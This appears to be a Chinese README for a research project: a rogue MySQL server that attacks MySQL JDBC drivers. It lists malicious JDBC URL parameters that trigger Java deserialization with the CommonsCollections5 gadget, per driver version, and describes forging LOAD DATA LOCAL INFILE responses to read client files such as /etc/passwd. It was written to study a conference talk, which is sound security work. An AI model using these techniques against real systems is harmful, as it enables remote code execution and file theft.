一个基于 netty-mysql-codec 开发的恶意 MySQL 服务器。出于学习 https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf 的内容而编写。
在 JDBC URL 可控的条件下攻击 MySQL JDBC Driver。
Poc 代码位于 test/java/com/github/trganda/dser
下,使用的 Gadget 为 CommonsCollections5。
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
属性名不同,变更为 statementInterceptors
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.1.10
及以下的5.1.X
版本:同上,但是需要连接后执行查询。
没有 ServerStatusDiffInterceptor
,不可利用。
不可用
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
不可用
不可用
Poc 代码位于 test/java/com/github/trganda/file
下。
MySQL 支持 load data local infile
语句读取文件发送至服务端。
load data local infile "/etc/passwd" into table foo FIELDS TERMINATED BY '\n';
通信流程如下,可以通过伪造响应内容 0xFB + 需要读取的文件路径
,让客户端读取任意文件
![image](https://private-user-images.githubusercontent.com/62204882/244583379-c8c5500f-a731-4640-b85e-e1147fe354d6.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjUxNDMwNjEsIm5iZiI6MTcyNTE0Mjc2MSwicGF0aCI6Ii82MjIwNDg4Mi8yNDQ1ODMzNzktYzhjNTUwMGYtYTczMS00NjQwLWI4NWUtZTExNDdmZTM1NGQ2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA4MzElMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwODMxVDIyMTkyMVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWZlNmZiMmY4ZTcwODU0NGMwZDY4YTNmNmY2NTE3NDRjYzY4Y2QzMzU3MjQ1ZWJlZDc1MzJlOWUzMWRjYmVjOWYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.mmbOXeHKbrZR1MrdX_UNVTsLYnk_q8-KfDtgfmgAWI0)